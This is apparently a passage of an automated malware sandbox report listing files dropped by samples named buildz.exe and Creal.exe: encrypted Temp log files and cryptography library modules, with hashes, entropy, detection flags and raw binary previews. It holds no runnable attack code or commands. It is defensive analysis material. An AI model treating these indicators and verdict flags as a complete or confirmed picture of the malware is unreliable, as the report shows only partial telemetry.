Preview:	..T.i.s....f.^.X.:C\c.7...p....=..g).m....r.f?6.1.i.&.m.8.<.f-.O.RrEGI.}v.......#..I.t.f..g...@Q . .b..W..{.o..A.......0..8L2U....<.s....a..].]BS...F...R.&Z.R...!.V...">G6c6.G.M.T........v..K.a?`3.c....M4.k...8H....N..Q.6W.N....x...xT..-w....M..P.f..M....}:.R..-.j(.V.\.?Ai..:DjZ.0s.Q...3...0..?/....9U.{P...x..M...M.aU.X4iD...apM.....A.6a.hSR...s..-P..zYs2....C.......yy.Z.i.Ej.........2?...Uo..wg..a.{.HU...\i.d..@...v.y.{..(E3^.......EB....L...E...<.~,......]...%].(c..=O..Q....-..W..Rl.j..XD.......S.c..E.....A.~d...p.\|....(d.v...zpm,._j._.). ..K.....:..q-e.r/.f..6:uEM.#....M8 ._P..v../4??}4!._..M..}..m....G!...U.7..N..0+......@#...2T...j".g...R..I+.........X0l..wF.....R..R.!M........gRY\|?...L>....@f.%.DKC.:.....B...W....K9..}.....d.^..`>1>..CRKZ%G.w.:r".~.K.f...y.S...7...... ....VO(.an.&.......&.W7........g..5W...B...v........V...?(Sw.\.t.....`7..K{TG....+L....4.`).].5U!.~.J..\|v....S>..c.n.gy[.&.[......}....7..^..N..c....v...

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1055.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	191166
Entropy (8bit):	7.602124554546673
Encrypted:	false
SSDEEP:	3072:cpSmblQA8EQVUJjetvdSRC9LHY5Z5vrPLjzBfmWLE+ZfpNBqpijamtjG/zLmeIDW:cP5QA8E7ehACJ457f1mWLE+ZfpNBqpi+
MD5:	B750BC6D214E252B810F68E4D2FFAA3A
SHA1:	4E37B619BB4FD5D1483939AE9DFB0A1F19B1FDAF
SHA-256:	C88FEA6F41C79555EB8E63A902CEAC0C3F8095D213ACAF30E82A95A4751D4F08
SHA-512:	31A9A087F549EAB4A285346503B590CE20137899C60CA70672988F2451626D3D65D3507786D9FAD6BA66245116A8858E09361AD1DD80EE5D7728DEA42F9D1964
Malicious:	false
Reputation:	unknown
Preview:	..T.i..L4&...f+.I.H.$.b..Wz......+'..A.A..Y.PF>....N.c..6....rk`..y...._:O..p..pe.9..Pn..D.Q]..&.....Z)x...s=.S.....h..$.....\E.Tg......t...:...........C...A.x.I;%O....L(X+.."%..]...O.Zr..Wfc....L.......m.P....r..R^.'.Qz\I.h.{.1.Z....+....6._;...Ge. (=....d:.%.....#.......7...s]...9=....^.E?....vw.,.,'..\.9 .T"Dg&..\...}{&/...CR..G......o...#z.!.......q.. .FH............H.".WB..Q23....J..El.sU./...}D.Z.,0.(...w....W.X.s..!3.......JY..B.`...5..b.+..K.M....&.]..r..]...<..T.....c....-w..&9.=...B...@v..]q.TBya.K..^..!...c%.U.[.&..:6...m0..X.B..J.T.O#.H.DH.U.P.ux1:~.pR4..B.... ..Kw..R...8.......{q~...Wn.v.\..x.~#..AC.5..W...}..z.u..9LrIW9..;.....-....8.o...CTxy...Ck..L...D.a....Qb....u.a..+5..8e.........N...5..o..%.. .K..];.CAMJP$...Mf}+..[......).....R.i...[o.....c.r-.....3N._^p....A.]..og...(..2N.;....g...W.8'.+........._w.=.7.p#X.a<.8.d.....1{1..".......J.^......h>.4{.n....,]...).F0[.$.l.QpK. .@u..u.FA=K.H.......0._..6...........O......

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1152.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	116052
Entropy (8bit):	7.998529693184685
Encrypted:	true
SSDEEP:	3072:L1cEd3G2CrM+VTAkyGl6ZpWBoyZpaTeliDfhWNXAtptc35205w:aaHCrjAtGoUGyZpaTiq5Qlw
MD5:	9D2C3B88F5586B07E92879A7B4BB75C8
SHA1:	5E453BC6573B1201F7FDD27D51D3ACE90AEE647F
SHA-256:	E421D0218D64E8DE03942BC27D00B11CC63838FE331A8FB2A55350CF5495C036
SHA-512:	34AAD679FFA7C29D6322BEA8D15913D47D3785BCA49E225FCE581E78522CE8696FD48E292847DA7982F07539B1E23B4D6A470A360723E4EAE1D62105E790590C
Malicious:	true
Reputation:	unknown
Preview:	..T.i\|.?"O.......LZ...q^..O....G.!...c...'......y...Dn1.n..$...F.X...I......R../..Fx.5.KZC._w..}....\|...........X[s7.H.......K..]....[...3A}9.A!.&..4'...l..&..y.....X...>...5+.~........]>....m.pr`P...Wr .C4.}..W....W^=1.!.}h.....]"H..HU_..11.W./@ t..,.l...x-wW..BM4z.........C.^<.X.QSX7....n..t..E2v...-sEvP.J.g.m....6{.a3.......n;..d..eH7.H....y.g........d ..TE..<...+...........l^...=8..7..i.b.n4@/......c...'d+-.._._=..l.(,.^..fn.S8..../......a.0.t._...7c...M.2.y..<.(.........d..V8...R..).OL.4[......o.........r.. ........>.n.Y....+..`4.........d.......A/....{.4..Z?5=.....>.Vu.....d@~.....$..........n....Fm.\k..D......[..>:h\|&1.#....I..&p..('.....D.W(..z.`P.F..R.......Y.WB.0...v..J~..f.r.b.]..P.ES{....gW...N.k.U`m.&bBm.\...R.B~"...r.w.Q.....JZ.Z..?..d.H.$...p.9.G.y..N....QzRy..,.x.. :..c^a_.E...l.........1)...~....SI)..>.6.p*S\|.B8e....^V4.]]...O..S...}.....-..-.Hg..l.$..H...u......A-.>...5..k...6.K(..;z"L.....Q.M...&.M.s.;...`.Z...%.

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1152a.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	179274
Entropy (8bit):	7.762068826449524
Encrypted:	false
SSDEEP:	3072:F/e5y0zszvxvPMCfPXqWF/rcFwZv/Eh2OXjGsiIZmpygvi1fSqmsSrv1EuYDFzy:hek0zunMCfvqu/rhkh2OXicZmpTitmOU
MD5:	A42F9E5F40AB7046A62C11477E16D8D9
SHA1:	D9E324B1BEDC0D5451BCE0FFFD605F5B1B5280DA
SHA-256:	E2C40778FBC261BEEA8F72B997F247CE9E5B3D0B7B588D170BA39839DD497418
SHA-512:	0E666D3A7C571061025607DF1CC0DD748ABA99B1A1606235A02CFAC9E32B72B24162AB58F7DB9B8B483135A4F7DC5B7B2F6AE80A7E7B88D9817D95F2174C2C7F
Malicious:	false
Reputation:	unknown
Preview:	..T.i...e2IL...0~...p.....:.N........p..<..+....~b.\|F.n..;..j.}!<@o.{....5=./.=.F~.....;..W....p.NR.p.r+..n..~...&.m.L....I.........W..... Q......Q.X.cZ..;W\|...K.n..m&.A...7.N...F#....Y...'...NbI.ul...7...B.....9.L....]..4.?..v.Yxq._.g. ..n~.[.=..P`......\k.(.f.<.....B^]....r...Y\|..Dt2A......y....7.W.$O?4r.`t3..Kv6WJ_N.).W...p..j..Y.....5).~.(?.;Mp...f.....G.J.&.[y.e.....O...F&. ....=..OV?.%...../...yL;w8`...h.5.r8Nt..2Vg.{..-_5x.#...q. ..:.m...m...kl.....H....q..f....Jh.k.....J/.-.s.... 5'....4kY..AP..B..F....QeqK...'(.-f..........s...V..3.l\|..-kw>.<#W@.....,..@.......T.....Mo..!ZQ]..=]..^O.)..{.....>..Vz.i.!b.Nr.2...F../..U..FG....Y.....r...m.Iu..=&(.]..R@...5{.Y.TfV.0...:.`.......'...x........$...8.J......}./.k.....i.:GB.Q.,.ml.J.y$#.{..1P{..b...XRM}.&.CY..IX..W...[/.[.q..\|...n.....M.3...<....6U3........x.$...q.....n.*.F9L.2A..IZ&B.a.kH_t......uU..J9.x.{.@..bD..=.c0.8..v.8.kO...u6.. BC z.Qm/..EU....7..x..).......u.. \|&m

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1152b.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	304858
Entropy (8bit):	6.592922909481979
Encrypted:	false
SSDEEP:	6144:sXw1HqU7bVXFCMkILNgC9ohJREi656v6sLR1DvmgOM5LuB/eCNmkhuggMWdHEODY:s0ZbRkq79ohJRNLR1DvmgOM5LuB/eCN/
MD5:	8DABCB921BBFE739FA40444E44C039C8
SHA1:	09E35273FE807F685695F07F9B04F589D8396EAC
SHA-256:	FDD4A14387FBF415346B1EBB2FE11364BB61C84991A496F4EB2F3CAFD6FA2467
SHA-512:	76C1A1937A7D6ED01A7A6E1DFB2EF80C18B0C70F44AA11C0A053CF3FB1CE30BA321C6CE868442E37A2AAFC00837EF7C3C42E093BC276889116B90A45AD1AFE0B
Malicious:	false
Reputation:	unknown
Preview:	..T.i..9.....1~w.^X).g..q^...Ap.I.2..S4Y.V....g9......[AS4/.i4.4.9#O5AD.#...M.z..u.y.QX.......;.....S.m....8..,...LN:.P.hV-.p.g.D...&..T.......1.Hr..sC._O.z....j..SP..;.........O.x..G.J...f.Y.Lf...%.t.R.8...x.EO..k_S=.s...f.&....0....u8...H .h8...8..Z.D.>...A.gh.]....tw.o.3.wa./.U;<#8..l..R}...u..5....$X8........`.t@K"....J.6.n\|r<.f..l.2..D.$&..`c....i..X.q.....h..r.V..>\|..... e....A....@.G.!..Y._2..^s.....C]....o........l.,.\i.t.D...Zn"..............0..bA....../......{~.<b....XCi. ..b...kR......}....J....[.S)T..&.Gs...z.6]C._.......u.c)..RI. k.j....F.Q.\|%RdG:.5.Z.R...O:I=..Z.H.m...!.#J.N.....',.Y..sQ.ac,I.#.jJ............$\p:.V4....%=y..7.M..'..W.wV.'.!0m..._.:..S.I.pu......Q..i..2*.......v.....A.t..p`LQ..{...S..) ...q$.p .f.-H..V...5....JE..G@...,url..>.3.k.v..........(...Gd @..m.+n}...6...{....!.6yv....-.~..#.eY.7?..!24....-.B`.v.g.xQ-p"t...F.o9N...c.....E.,..0.C..\....V1.%}..c..r..Z...Q.eg.9r...%O.......:<..............-.K%.

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1153.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	99080
Entropy (8bit):	7.998290067232506
Encrypted:	true
SSDEEP:	3072:431pNMyd1Yeuc0NQmznfeZTxFoimm6i12r:4dd1HucOQmTfeZNFoiP12r
MD5:	DFAB998EE0870C456B30865ACB44CBA7
SHA1:	3C329C60DEB8FC1598A11B30BBD687DA18EF0584
SHA-256:	6AFAF5DACE37125696BB8C9BFC55DB8F240C143CA0F8E332E02550793B32101E
SHA-512:	F2AD9DB918A9575DCEF53B3110A7C7EF53D6AE4FA378EE7EF56CBD31824F76560A816B633698DCF40066A8BAD3A024CAA332604BCDC49D207E91CF4D7745F961
Malicious:	true
Reputation:	unknown
Preview:	..T.i.C.."rF.."..O...3.%..H......Wv..$.......C...$..U.nXd.V..\ ..i....Z...W.!.. <.MCp.%'C...f...p.....E........~..:..m5e.@.0.=2..ZO...I..YO.)....V...M...K.P.3./....E...........=U.+l...T....g}....J........=.#e..8.l..-....6%Q..2...U.8W.X.8..]..&.K......'..:l.&y..1....q@4....b.Q..n.).R....u..k5fu..a.+....'.f...JAg!34..M.b......OCl4.u=..3.=.^.....V.......=yV...j+.....{@.Th...s.......C-......1q.[.....1..2..@<JO... @...#..ct....ZY.#.#.......x..E.......P......'..'.v...\.v...g........58N^.6r^.....Epz.....v..Xgo...JgY^WFRNk....<\|gcb...D.(..!.4/.i.7...ZR{K.pX.._....)..~!%...t<Z.m_...s..Sa..e<.%.^Z...g.t..%..^..).B-p.hA..!..+.....;gJu.>.w1...T.......k1x.\.f1;...0JGI..y...&.$b........2DS.D...D.?V.X..6.....]...wQ..V#..1...j..z.-.B...t.....`....~@.KJ.,.......m..."x.E.h..t.w.........H.....:....6.O..f.n;A.V[..2y.Cg.W...F.....%..f...S.._..S0!......._c...B.-.N.8.7.....iD......J(u..q96z.K.^.. .%...7o.....6.(..JC1x1.uD.F...\|....\.K..U..p z..V.....:~A.c.m.Z

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1157.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	102646
Entropy (8bit):	7.998427039609407
Encrypted:	true
SSDEEP:	3072:kIPg3UOlhy5isBg9gH2mAzMsj243G/sbd3JE:fgRlhyUsNWmVYJck5E
MD5:	AA8C3F6561408D856E02BD8831254D55
SHA1:	9EB1085F0558AF4DDACF9865D749B20A04E0ADB4
SHA-256:	95ABE851F0820FAC98C6F5087168D0ACA740B794A5CC70C295FB2E5E18E26423
SHA-512:	50D91A93801EB439B4DE88460A5DBEBAA0D6346A1E458B1876D8450ADED0DF03F11C89F44042B665160C11BC017A2AAF5339E6E378F861303E33015532E0730A
Malicious:	true
Reputation:	unknown
Preview:	..T.i...<)#.\....6.[`6....n...Po..7d.R......&...8b.iu..W/....y.M....=.V.`..^..3..G...6...Sn.QX....[...;......L(CLal.I.CK(...(...G.....a=...5.o(.h..".z0..G=%u.1.ZHI..k?.....s.?I(".I..)...........FA$...y.0..}.v)}vv..ZT.x..y....kbX......@......z....SQt,.R.D.....Q.15...".nd.2...........4.'p.J.)#.m..g&/N]K,..\v..\..C....&..\Ml.rN...C..WK.......N....pX&LpZp.y....!.I...D......7`i..y....v....wE....t0Lo..d{sB.v>.......@.$....-.^.S....!./..'H<.}k8D..#.!.x9....Bh....P..S.u...".)g.o.&."iZ..S>i.}.Q.,.i.s.f.....Sm9.....7.u`Y/E....}O2Q.".ZO.Y4.. ....+..S..H.j...\|..]...E......v..~..EJG[AD.... Y.t...2b. .\.At.yE_..^.m.C.<..x...h.Yi...c,..#1...E......;}}J$T.....>.Q......m. ...>.''m.?.X.6! .x....5)u.8.......T..n,......l..6......5...%...8.d#..D......9...?..6`..F..q.~.. ..R..VB0..H1.kD.>..g..$......AK.D..0..'.-?..B...S[)..2-.....V...E..m.h.....~.o...0.X....D..3..p....K..s....&4.%.@@"..g...GLx.G.~..l"...~.?......D....G...I..j..g.#5h.ox..[r3..Z.Jx`......./\+.'

C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_ARC4.pyd

Download File

Process:	C:\Users\user\Desktop\a\Creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	4.6989965032233245
Encrypted:	false
SSDEEP:	96:v9VD9daQ2iTrqT+y/ThvQ0I1uLfcC75JiC4Rs89EcYyGDPM0OcX6gY/7ECFV:39damqT3ThITst0E5DPKcqgY/79X
MD5:	56976443600793FF2302EE7634E496B3
SHA1:	018CE9250732A1794BBD0BDB8164061022B067AA
SHA-256:	10F461A94C3D616C19FF1A88DEC1EFEA5194F7150F5D490B38AC4E1B31F673DD
SHA-512:	A764C636D5D0B878B91DC61485E8699D7AA36F09AA1F0BD6AF33A8652098F28AEB3D7055008E56EBFC012BD3EA0868242A72E44DED0C83926F13D16866C31415
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........."...L...L...L......L.q.M...L..M...L...M...L.q.I...L.q.H...L.q.O...L...D...L...L...L.......L...N...L.Rich..L.........PE..d....y.e.........." ...#............P........................................p............`.........................................P(.......(..d....P.......@...............`..,...."...............................!..@............ ...............................text............................... ..`.rdata..,.... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......(..............@..@.reloc..,....`.......*..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_Salsa20.pyd

Download File

Process:	C:\Users\user\Desktop\a\Creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	5.047528837102683
Encrypted:	false
SSDEEP:	192:SF/1nb2eqCQtkluknuz4ceS4QDuEA7cqgYvEP:o2P6luLtn4QDHmgYvEP
MD5:	30F13366926DDC878B6D761BEC41879E
SHA1:	4B98075CCBF72A6CBF882B6C5CADEF8DC6EC91DB
SHA-256:	19D5F8081552A8AAFE901601D1FF5C054869308CEF92D03BCBE7BD2BB1291F23
SHA-512:	BDCEC85915AB6EC1D37C1D36B075AE2E69AA638B80CD08971D5FDFD9474B4D1CF442ABF8E93AA991F5A8DCF6DB9D79FB67A9FE7148581E6910D9C952A5E166B4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#............P.....................................................`..........................................8.......9..d....`.......P..L............p..,....3...............................1..@............0...............................text...h........................... ..`.rdata.......0......................@..@.data...8....@.......,..............@....pdata..L....P......................@..@.rsrc........`.......2..............@..@.reloc..,....p.......4..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_chacha20.pyd

Download File

Process:	C:\Users\user\Desktop\a\Creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	5.0513840905718395
Encrypted:	false
SSDEEP:	192:7XF/1nb2eqCQtkXnFYIrWjz0YgWDbu5Do0vdvZt49lkVcqgYvEMN:L2P6XTr0zXgWDbui0vdvZt49MgYvEMN
MD5:	CDF7D583B5C0150455BD3DAD43A6BF9B
SHA1:	9EE9B033892BEB0E9641A67F456975A78122E4FA
SHA-256:	4CA725A1CB10672EE5666ED2B18E926CAAE1A8D8722C14AB3BE2D84BABF646F6
SHA-512:	96123559D21A61B144E2989F96F16786C4E94E5FA4DDA0C018EAA7FEFFA61DD6F0ADFA9815DF9D224CDEBE2E7849376D2A79D5A0F51A7F3327A2FAA0A444CE9C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#............P.....................................................`..........................................8.......9..d....`.......P..d............p..,....2...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......*..............@....pdata..d....P.......,..............@..@.rsrc........`.......0..............@..@.reloc..,....p.......2..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_pkcs1_decode.pyd

Download File

Process:	C:\Users\user\Desktop\a\Creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	5.1050594710160535
Encrypted:	false
SSDEEP:	96:/PTF1siKeai1dqmJo0qVVLf/+NJSC6sc9kJ9oPobXXXP4IIYOxDmO8jcX6gRth2h:/LsiHfq5poUkJ97zIDmOucqgRvE
MD5:	7918BFE07DCB7AD21822DBAAA777566D
SHA1:	964F5B172759538C4E9E9131CE4BB39885D79842
SHA-256:	C00840D02ADA7031D294B1AB94A5F630C813AAE6897F18DD66C731F56931868E
SHA-512:	D4A05AB632D4F0EB0ED505D803F6A5C0DBE5117D12BA001CE820674903209F7249B690618555F9C061DB58BED1E03BE58AD5D5FE3BC35FC96DF27635639ABF25
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............l...l...l......l.q.m...l..m...l...m...l.q.i...l.q.h...l.q.o...l...d...l...l...l.......l...n...l.Rich..l.................PE..d....y.e.........." ...#............P.....................................................`.........................................P8..p....8..d....`.......P...............p..,....3...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...h....@.......*..............@....pdata.......P.......,..............@..@.rsrc........`......................@..@.reloc..,....p.......0..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_aes.pyd

Download File

Process:	C:\Users\user\Desktop\a\Creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	6.55587798283519
Encrypted:	false
SSDEEP:	384:Of+7nYpPMedFDlDchrVX1mEVmT9ZgkoD/PKDkGuF0U390QOo8VdbKBWmuTLg4HPy:WqWB7YJlmLJ3oD/S4j990th9VTsC
MD5:	4B032DA3C65EA0CFBDEB8610C4298C51
SHA1:	541F9F8D428F4518F96D44BB1037BC348EAE54CF
SHA-256:	4AEF77E1359439748E6D3DB1ADB531CF86F4E1A8E437CCD06E8414E83CA28900
SHA-512:	2667BF25FD3BF81374750B43AFC5AEFF839EC1FF6DFC3FDD662F1D34A5924F69FC513EA3CD310991F85902A19ADA8B58DED9A9ED7B5D631563F62EA7F2624102
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........."...L...L...L......L.q.M...L..M...L...M...L.q.I...L.q.H...L.q.O...L...D...L...L...L.......L...N...L.Rich..L.........PE..d....y.e.........." ...#.H...H......P.....................................................`.................................................,...d...............................4... ...................................@............`...............................text....F.......H.................. ..`.rdata..d6...`...8...L..............@..@.data...8...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..4...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_aesni.pyd

Download File

Process:	C:\Users\user\Desktop\a\Creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15872
Entropy (8bit):	5.2919328525651945
Encrypted:	false
SSDEEP:	192:oJBjJPqZkEPYinXKccxrEWx4xLquhS3WQ67EIfD4A1ccqgwYUMvEW:6URwin7mrEYCLEGd7/fDnwgwYUMvE
MD5:	57E4DF965E41B1F385B02F00EA08AE20
SHA1:	583B08C3FC312C8943FECDDD67D6D0A5FC2FF98B
SHA-256:	3F64DFFEC486DCF9A2E80CB9D96251B98F08795D5922D43FB69F0A5AC2340FC2
SHA-512:	48C3F78AF4E35BFEF3B0023A8039CF83E6B2E496845A11B7A2C2FA8BB62C7CCDE52158D4D37755584716220C34BBF379ECE7F8E3439B009AD099B1890B42A3D9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\|X...................i.......................i.......i.......i.......................................Rich....................PE..d....y.e.........." ...#. ... ......P.....................................................`..........................................9......D:..d....`.......P...............p..,....3...............................1..@............0.. ............................text............ .................. ..`.rdata.......0.......$..............@..@.data...(....@.......4..............@....pdata.......P.......6..............@..@.rsrc........`.......:..............@..@.reloc..,....p.......<..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_arc2.pyd

Download File

Process:	C:\Users\user\Desktop\a\Creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	5.565187477275172
Encrypted:	false
SSDEEP:	192:MeDd9Vk3yQ5f8vjVKChhXoJDkq6NS7oE2DDHlWw2XpmdcqgwNeecBU8:1k/5cj4shXED+o2Du8zgwNeO8
MD5:	F9C93FA6CA17FDF4FF2F13176684FD6C
SHA1:	6B6422B4CAF157147F7C0DD4B4BAB2374BE31502
SHA-256:	E9AEBB6F17BA05603E0763DFF1A91CE9D175C61C1C2E80F0881A0DEE8CFFBE3A
SHA-512:	09843E40E0D861A2DEE97320779C603550433BC9AB9402052EA284C6C74909E17CE0F6D3FDBA983F5EB6E120E2FE0C2B087420E138760BB0716D2999C10935C1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#."... ......P.....................................................`.........................................0J.......J..d....p.......`..................,....C...............................B..@............@...............................text....!.......".................. ..`.rdata.......@.......&..............@..@.data...8....P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..,............>..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_blowfish.pyd

Download File

Process:	C:\Users\user\Desktop\a\Creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	20992
Entropy (8bit):	6.058843128972375
Encrypted:	false
SSDEEP:	384:fHU/5cJMOZA0nmwBD+XpJgLa0Mp8Qhg4P2llyM:QK1XBD+DgLa1qTi
MD5:	E4969D864420FEB94F54CEF173D0AD4D
SHA1:	7F8FE4225BB6FD37F84EBCE8E64DF7192BA50FB6
SHA-256:	94D7D7B43E58170CAEA4520D7F741D743BC82B59BE50AA37D3D2FB7B8F1BB061
SHA-512:	F02F02A7DE647DDA723A344DBB043B75DA54D0783AE13E5D25EEC83072EA3B2375F672B710D6348D9FC829E30F8313FA44D5C28B4D65FDA8BB863700CAE994B7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#.$...0......P.....................................................`.........................................pY.......Z..d............p..................4...@S...............................R..@............@...............................text....".......$.................. ..`.rdata..L....@... ...(..............@..@.data...8....`.......H..............@....pdata.......p.......J..............@..@.rsrc................N..............@..@.reloc..4............P..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_cast.pyd

Download File

Process:	C:\Users\user\Desktop\a\Creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25088
Entropy (8bit):	6.458942954966616
Encrypted:	false
SSDEEP:	384:xVcaHLHm+kJ7ZXmrfXA+UA10ol31tuXyZQ7gLWi:8aHrm+kJNXmrXA+NNxWi28LWi
MD5:	CD4B96612DEFDAAC5CF923A3960F15B6
SHA1:	3F987086C05A4246D8CCA9A65E42523440C7FFEC
SHA-256:	5C25283C95FFF9B0E81FCC76614626EB8048EA3B3FD1CD89FE7E2689130E0447
SHA-512:	C650860A3ECC852A25839FF1E379526157EB79D4F158B361C90077875B757F5E7A4AA33FFE5F4F49B28DF5D60E3471370889FBE3BF4D9568474ECE511FF5E67D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#.$...@............................................................`.........................................@i.......i..d...............................4....b...............................a..@............@...............................text....".......$.................. ..`.rdata.......@...0...(..............@..@.data...8....p.......X..............@....pdata...............Z..............@..@.rsrc................^..............@..@.reloc..4............`..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_cbc.pyd

Download File

Process:	C:\Users\user\Desktop\a\Creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	4.833693880012467
Encrypted:	false
SSDEEP:	192:BF/1nb2eqCQtkrAUj8OxKbDbzecqgYvEkrK:t2P6EE8OsbD2gYvEmK
MD5:	0C46D7B7CD00B3D474417DE5D6229C41
SHA1:	825BDB1EA8BBFE7DE69487B76ABB36196B5FDAC0
SHA-256:	9D0A5C9813AD6BA129CAFEF815741636336EB9426AC4204DE7BC0471F7B006E1
SHA-512:	D81B17B100A052899D1FD4F8CEA1B1919F907DAA52F1BAD8DC8E3F5AFC230A5BCA465BBAC2E45960E7F8072E51FDD86C00416D06CF2A1F07DB5AD8A4E3930864
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#............P.....................................................`..........................................8.......9..d....`.......P..X............p..,....2...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......&..............@....pdata..X....P.......(..............@..@.rsrc........`.......,..............@..@.reloc..,....p......................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_cfb.pyd

Download File

Process:	C:\Users\user\Desktop\a\Creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	4.900216636767426
Encrypted:	false
SSDEEP:	192:YTI1RgPfqLlvIOP3bdS2hkPUDk9oCM/vPXcqgzQkvEmO:YTvYgAdDkUDDCWpgzQkvE
MD5:	3142C93A6D9393F071AB489478E16B86
SHA1:	4FE99C817ED3BCC7708A6631F100862EBDA2B33D
SHA-256:	5EA310E0F85316C8981ED6293086A952FA91A6D12CA3F8AF9581521EE2B15586
